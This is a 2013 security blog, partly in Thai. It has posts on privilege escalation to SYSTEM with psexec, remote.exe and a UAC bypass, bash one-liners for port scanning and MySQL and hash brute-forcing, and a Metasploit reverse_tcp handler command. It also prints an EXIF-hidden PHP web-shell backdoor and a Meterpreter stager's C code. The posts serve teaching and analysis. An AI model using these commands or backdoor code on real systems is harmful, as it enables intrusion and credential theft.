Aug 2, 2013

Tools: Drozer - The Leading Security Testing Framework for Android.

drozer enables you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

Source: http://labs.mwrinfosecurity.com/tools/drozer/

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Aug 1, 2013

Howto: Getting admin prompt with remote.exe and psexec

If you want full details, please go to the Source.

Psexec.exe
1. Download Psexec from http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

2. Run psexec -i -s -d CMD

3. You will get cmd with "NT authority/System" privilege
Source: http://blogs.technet.com/b/askds/archive/2008/10/22/getting-a-cmd-prompt-as-system-in-windows-vista-and-windows-server-2008.aspx

Remote.exe
1. Download Windows Debugger

2. Run at command with these options
- at $time c:\path\of\remote.exe /s cmd SYSCMD

3. Run remote.exe with these options
- remote.exe /c system_name SYSCMD

4. You will get the shell from Windows Debugger

Remote.exe and Bypassuac
 If you can't run at command, try bypassuac first.
1. Download https://www.trustedsec.com/files/bypassuac.zip

2. Run bypassuac
- bypassuac.exe /c at $time C:\path\of\remote.exe /s cmd SYSCMD

3. Connect debugger with remote.exe
- remote.exe /c wpad SYSCMD

4. Get the shell and try to use 'whoami', have a nice shell :)

Source: http://carnal0wnage.attackresearch.com/2013/07/admin-to-system-win7-with-remoteexe.html

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Jul 31, 2013

Tools: Crack Password In The Cloud - Pwaudit.com

Crack password hashes in a simple, easy-to-use cloud-based service

Source:  https://www.pwaudit.com/



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

What Happens Online in 60 Seconds

If you want to see full detail, please go to the Source. 



Source: http://iliyanastareva.com/what-happens-online-in-60-seconds/

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Malware Analysis List

Zeus Tracker
https://zeustracker.abuse.ch/index.php

Repository Of Malware
http://malware.lu/

Live Malware URL List
http://www.scumware.org/

Database Of Malware List
http://malc0de.com/database/

Malware URL List
http://www.malwareblacklist.com/showMDL.php

Malware Analysis with sysinternals tools
http://www.itninja.com/blog/view/malware-hunting-with-sysinternals-tools

Malware Analysis Toolkit
http://zeltser.com/malware-analysis-toolkit/


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: HoneyProxy a man-in-the-middle SSL proxy & traffic analyzer

HoneyProxy is a lightweight tool that allows live HTTP(S) traffic inspection and analysis.
It focuses on features that are useful for malware analysis and network forensics.  


Source: http://honeyproxy.org/

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Jul 30, 2013

#Hacking without tool by BruteLogic

No Hacking Tools I: port scanning with bash and a successful password attack against a remote MySQL database.
- for p in {1433,3306}; do (echo >/dev/tcp/target_ip/$p) >/dev/null 2>&1 && echo "$p open"; done

- for w in $(cat wordlist); do mysql -u root -p$w -h target_ip; done
https://pinterest.com/pin/536772849308043734/

No Hacking Tools II: using bash to crack some database MD5 hashes
- for w in $(cat wordlist); do h=$(cat hashlist | grep $(printf $w | md5sum)) && echo $h $w; done
https://pinterest.com/pin/536772849308044618/


No Hacking Tools III: using bash to brute force directories/files in DVWA (Damn Vulnerable Web App) and find a readable backup file (config.inc.php~) that holds its database credentials.
- for w in $(cat urllist); do printf %20s "$w: ";curl -s target_url/config/$w -i | grep HTTP;done

https://pinterest.com/pin/536772849308044633/

New #Metasploit trick to load faster: 
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP encoder= post= nop= E 
https://twitter.com/_sinn3r/status/361968925921120256

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Jul 29, 2013

แกะ Backdoor จาก JPG EXIF Header

บอกก่อนเลยว่าโพสต์นี้ผมไม่ได้แต่งขึ้นเอง แต่อ่านแล้วรู้สึกการแกะนี้โดยทีมงาน Security Analysis ของ Sucuri มากจึงอยากแปลเก็บไว้อ่านเองเหมือนกันครับ หากใครต้องการไปดูต้นฉบับกดเลยครับ

ในช่วงที่ผ่านมา team ของ Sucuri ได้พบว่าในเว็บไซด์ที่ถูก compromise มีการฝัง backdoor ที่น่าสนใจไว้ ซึ่ง backdoor นี้น่าสนใจที่ไม่ได้เป็นแค่การซ่อนไว้แบบ base64/gzip encoding ทั่วไป แต่กลับซ่อนตัวใน EXIF header ของ JPEG image file มาดูกันว่ามันซ่อนไว้ยังไง

Technical Detail
 Backdoor แบ่งเป็น 2 path คือ exif_read_data ที่ใช้อ่าน header image ไฟล์และ preg_replace ที่ปกติเอาไว้ทำการ replace string ที่เราต้องการ 

อันนี้คือโค้ดของ malware
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');  

โดยหากใช้งานปกติก็คงไม่มีอะไร แต่ใน preg_replace function นั้นมี option ตัวหนึ่งที่น่าสนใจคือ /e ซึ่งทำให้ preg_replace ทำงานเหมือนกับ eval function นั่นก็คือการรัน code นั่นเอง

เมื่อดูจากภายในไฟล์ bun.jpg ก็พบว่ามีโค้ดเป็นดังนี้

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

จะเห็นว่าภายในไฟล์นั้นมีรายละเอียดปกติ แต่ใน "Make" header กลับมีคำว่า /.*/e^ อยู่ด้วย และนั่นคือตัวที่ทำให้ preg_replace ทำงานเปลี่ยนไปนั่นเอง

และหากดูต่อไปจะพบว่าภายใน "Model" header นั้นมีส่วนที่เป็น @eval(base64_decode()) เมื่อเอาทั้งคู่มาใส่เป็น input ของ preg_replace เหมือนกับที่โค้ด backdoor ใช้งานจะได้เป็น

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ..."); 

เมื่อทำการ decode ออกมาจะได้เป็นการรัน POST Method ให้เป็นประมาณ

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

หากยิ่งไล่ดูภายในเครื่องที่ถูก compromise จะพบว่ามีภาพหลายภาพภายในเครื่องถูกแก้ไข header เหมือนกับ bun.jpg แต่เว็บยังทำงานได้อย่างปกติ และภาพก็โหลดปกติเช่นกันครับ นั่นคือสิ่งที่ทำให้เห็นว่าการซ่อน backdoor ในปัจจุบันมีการหลากหลายมากขึ้นจากอดีตอย่างมากครับ

Source: http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Jul 28, 2013

#เข้าใจก่อนใช้: Meterpreter ของ Metasploit ทำงานอย่างไร

 เกริ่นนำ
 บทความนี้จริงๆแล้วเป็นบทความที่ผม draft มานานมากแล้ว เขียนไม่เสร็จซักที(มีในหนังสือผมเหมือนกัน แต่อาจจะไม่เห็นภาพเลยพยายามเขียนให้มันเป็นแนว lab มากขึ้น แต่เนื้อที่ในหนังสือไม่พอ T^T) พอนานๆไปก็เลยรู้สึกว่า โล้ะของเก่าแล้วเขียนใหม่เลยดีกว่า ดังนั้นมาเริ่มกันเลยครับ

Payload ที่ใช้สำหรับหลังจาก Exploit คืออะไร
ในบทความนี้จะพูดถึงหลักการทำงานของ Payload ที่ทำงานหลังจากที่ exploit สำเร็จด้วย Metasploit ซึ่ง Payload ดังกล่าวจะแบ่งเป็น 2 แบบคือ Stage, Stager โดยความแตกต่างของทั้ง 2 นั้นจะอยู่ที่
- stager จะเป็น payload ที่มีขนาดเล็ก ทำหน้าที่ในการ download stage ซึ่งเป็น payload ขนาดใหญ่มาอีกทีหนึ่ง จากนั้นก็ load stage นั้นๆเข้า memory เพื่อทำงานตามที่ได้กำหนดไว้อีกทีหนึ่ง
- stage จะเป็น payload ที่ทำหน้าที่ในการทำงานต่างๆตามที่เรา set ไว้ โดยปกติ(default) stage ของ Metasploit คือการทำงานที่เป็นแบบสร้าง connection กลับมาที่เครื่อง Metasploit ที่คอยรอรับ connection อยู่

โดยตัวอย่าง stager จะเป็นประมาณนี้ครับ
/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)  punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL)  punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register    thanks mihi for pointing this out    BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;

/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);

/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);

/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();

จากโค้ด argv[1] คือ host และ argv[2] คือ port ขั้นตอนการทำงานของมันคือสร้าง socket ไปยัง host:port จากนั้นอ่านค่าที่ตอบกลับมาจาก Metasploit Listener เพื่อตรวจสอบการทำงานของ Metasploit Listener แล้วทำการสร้าง buffer สำหรับอ่าน,เขียน,execute พอได้พื้นที่ที่พอจะใช้งานสำหรับ payload นั้นๆแล้ว ก็นำ payload ไปใส่ที่ตำแหน่งที่เราทำ buffer ไว้ จากนั้นก็สร้าง function ที่ตำแหน่งค่า payload นั้น แล้วก็สั่ง function ซึ่งก็คือ stage ทำงาน โดยใน stage นั้นๆ อาจจะเป็น stager อีกก็เป็นได้

ในบทความนี้ผมใช้ช่องโหว่ ms08_067_netapi และ Metasploit คอยรอรับ connection ที่ port 4444 ซึ่งเมื่อดูจาก Wireshark จะพบว่าในช่วงต้น Metasploit จะติดต่อไปผ่านทาง port 445 จะเป็นการใช้งานของ RPC(remote procedure cell) request ซึ่งแนบ exploit code + stager ไปด้วย เมื่อ SMB ได้รับก็ทำงานพร้อมกับทำการ execute stager ต่อ จากนั้นจะพบว่ามีการติดต่อไปยัง Metasploit ที่ port 4444 เพื่อทำการ download stage ต่อไป



สอดส่อง Meterpreter
พอหลังจากที่เราทำการสร้าง connection ได้สำเร็จตาม stage แล้ว เราก็จะได้ meterpreter มานั่นเอง โดย meterpreter จะไปเกาะหรือใช้งาน resource เดียวกับ service ที่มีเรา exploit มาได้สำเร็จ หรือถ้ามองในมุมมองของเครื่องก็คือเรามี process id(PID) เดียวกับ service นั้นๆนั่นเอง ซึ่งเราสามารถใช้คำสั่ง getpid เพื่อดู pid ของเราได้


และถ้าเราลอง list process ทั้งหมดภายในเครื่องดู จะพบว่า pid ของเราไปตรงกับ svchost.exe ซึ่งก็คือ File Sharing นั่นเอง


ทีนี้หาก service นี้ตาย meterpreter ของเราก็จะตายไปด้วย ดังนั้นสิ่งที่เราทำคือเราจะทำการย้ายตัวเองไปที่ process ที่ตายยากที่สุด ซึ่งหากเป็น Windows ก็คือ explorer.exe เมื่อเราใช้คำสั่ง migrate สิ่งที่จะเกิดขึ้นคือ เราจะทำการติดต่อไปยัง process เป้าหมาย,จองพื้นที่สำหรับการใช้งานแล้วจากนั้นก็ copy ตัวเอง(stage)ไปไว้ที่ที่เราจองไว้ จากนั้นก็จะทำการรัน stage ที่ได้ทำการ copy ไปไว้ จากนั้นเราก็จะไปใช้งานติดต่อที่ stage ใหม่นั้น ส่วนตัวเก่าก็จะหยุดการทำงานไป


การที่เราย้ายไปติดกับ explorer ทำให้เราทำงานร่วมกับ resource ของ explorer นั่นหมายความว่าเมื่อ explorer ทำงานติดต่อกับใคร หรือมีการส่งข้อมูล process ใดมายัง explorer ก็จะสามารถเข้าถึงได้ และนั่นคือเหตุผลว่าทำไมพอเวลาเรา migrate ไปแล้ว เราจึงสามารถใช้คำสั่งพวก key_logger ได้ แต่ในตอนแรกที่ exploit สำเร็จเรากลับทำไม่ได้ครับ

หากเราทำการย้าย process ของเราไปยัง process อื่นที่มีโครงสร้างไม่เหมือนกัน ตัว migrate จะทำการเปลี่ยนให้เองโดยอัตโนมัติ

สิทธิ์ของ Meterpreter
สิทธิ์ของ Meterpreter นั้นเป็นจะเป็นสิทธิ์เดียวกับที่ process ที่เราไปใช้ resource ร่วมกัน ซึ่งภายใน Windows นั้นจะเรียก เจ้าของ process, สิทธิ์ของ user นั้นๆว่าเป็น Token โดยเราสามารถดูได้ว่าเรามี token อะไรด้วยคำสั่ง getuid ซึ่งหาก token ของ process ที่เราย้ายไปคนละอันกัน เมื่อเราไปเกาะอะไร เราก็จะกลายเป็น token นั้นๆ ซึ่งในตอนแรกที่ได้ meterpreter ผมได้ใช้ getuid จะได้เป็น



แต่หลังจาก migrate ไปจะเห็นว่า token เปลี่ยนไป



ก็เป็นไปตาม token ของ service นั้นๆตามที่เราเห็นจาก ps ก่อนหน้านี้ครับ
โดยเราสามารถขโมย token ได้โดยใช้คำสั่ง steal_token ได้ครับ เพื่อการปลอมแปลงเป็นบุคคลอื่นภายในเครื่องนั้นๆ

บทสรุป
จะเห็นว่าการใช้งานจริงๆของ Metasploit นั้นมีความหลากหลายและความละเอียดมาก จำเป็นต้องมีความรู้ความเข้าใจเพื่อให้สามารถดึงประสิทธิภาพให้ได้มากที่สุดเท่าที่เป็นไปได้ครับ อีกทั้งเรายิ่งรู้จักและใช้งานเป็นมากขึ้นเท่าไหร่ เราก็จะยิ่งสามารถนำไปพัฒนาต่อยอดหรือพลิกแพลงการใช้งานได้อย่างเฉียบแหลมมากขึ้นเช่นกันครับ



"If I had six hours to chop down a tree, I'd spend the first four hours sharpening the axe."
ถ้าข้าพเจ้ามีเวลา 6 ชั่วโมงในการตัดต้นไม้ จะเอา 4 ชั่วโมงไว้ ลับขวาน

By Abraham Lincoln 

ปล. อย่าลืมอุดหนุนหนังสือผมด้วยนะครับ https://www.facebook.com/pages/Hacking-Security-Book/308570299171681 :)

Reference::
- http://blog.strategiccyber.com/2013/07/25/situational-awareness-for-meterpreter-users/
- http://blog.strategiccyber.com/2013/06/28/staged-payloads-what-pen-testers-should-know/
- https://itunes.apple.com/us/book/hacking-security-kaw-su-nak/id639073147?mt=11


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |